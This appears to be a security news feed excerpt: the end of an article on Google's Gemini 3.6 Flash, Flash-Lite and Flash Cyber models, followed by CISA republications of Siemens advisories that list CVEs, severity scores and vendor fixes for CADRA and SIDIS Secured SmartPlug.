    Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

    Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

    If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

    Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

    Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

    In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

    This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

    When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

    While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

    The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

    Respectable benchmark performance at low cost

    The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

    It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

    The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

    To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

    The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

    Models for low-cost coding, agentic, and cybersecurity use cases — respectively

    Google divided its new offerings into three distinct products tailored for different operational needs.

    Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

    Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

    As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

    Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

    Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

    The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

    The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

    In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

    Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

    Commercial licensing only

    The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

    An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

    This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

    The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

    In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

    Looking ahead

    Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

    the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

    Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

    Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

    ]]>         <![CDATA[USN-8582-1: jbig2dec vulnerabilities]]> https://tsecurity.de/de/3684661/unix-server/usn-8582-1-jbig2dec-vulnerabilities/ https://tsecurity.de/de/3684661/unix-server/usn-8582-1-jbig2dec-vulnerabilities/ Tue, 21 Jul 2026 21:01:31 +0200 🐧 Unix Server tsecurity.de <![CDATA[Siemens CADRA]]> https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/ https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/ Tue, 21 Jul 2026 19:45:26 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.

    The following versions of Siemens CADRA are affected:

    • CADRA vers:intdot/<2511, vers:all/* 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.8 Siemens Siemens CADRA Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')

    Background

    • Critical Infrastructure Sectors: Chemical, Commercial Facilities, Communications, Energy
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2005-2096

    zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.3 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

    CVE-2016-9840

    inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2016-9841

    inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2016-9842

    The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-1335 Incorrect Bitwise Shift of Integer

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2017-14919

    Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-20 Improper Input Validation

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2018-25032

    zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2022-37434

    zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2023-45853

    MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA < V2511
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V2511 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2025-10585

    Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    Mitigation
    Block access to untrusted or external web content from sensitive systems

    None available
    Currently no fix is available

    Relevant CWE: CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-13223

    Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    Mitigation
    Block access to untrusted or external web content from sensitive systems

    None available
    Currently no fix is available

    Relevant CWE: CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2026-22184

    zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.

    View CVE Details

    Affected Products

    Siemens CADRA
    Vendor:
    Siemens
    Product Version:
    CADRA
    Product Status:
    known_affected
    Remediations

    None available
    Currently no fix is available

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 0 NONE CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N

    Acknowledgments

    • Siemens ProductCERT reported these vulnerabilities to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
    Date Revision Summary
    2026-07-14 1 Publication Date
    2026-07-21 2 Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens SIDIS Secured SmartPlug]]> https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/ https://tsecurity.de/de/3684505/it-security-nachrichten/siemens-sidis-secured-smartplug/ Tue, 21 Jul 2026 19:45:23 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.

    The following versions of Siemens SIDIS Secured SmartPlug are affected:

    • SIDIS Secured SmartPlug vers:intdot/<7.26.0310 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.8 Siemens Siemens SIDIS Secured SmartPlug Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2022-23303

    The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    CVE-2022-23304

    The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    CVE-2022-37660

    In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-323 Reusing a Nonce, Key Pair in Encryption

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

    CVE-2022-48174

    There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-5222

    A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-5914

    A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    CVE-2025-9230

    Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2025-9231

    Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-385 Covert Timing Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

    CVE-2025-9232

    Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 5.9 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

    CVE-2025-26465

    A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-390 Detection of Error Condition Without Action

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.8 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

    CVE-2025-32462

    Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-863 Incorrect Authorization

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 2.8 LOW CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

    CVE-2026-5121

    A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.

    View CVE Details

    Affected Products

    Siemens SIDIS Secured SmartPlug
    Vendor:
    Siemens
    Product Version:
    SIDIS Secured SmartPlug < V7.26.0310
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V7.26.0310 or later version

    Relevant CWE: CWE-190 Integer Overflow or Wraparound

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    Acknowledgments

    • Siemens ProductCERT reported these vulnerabilities to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-14
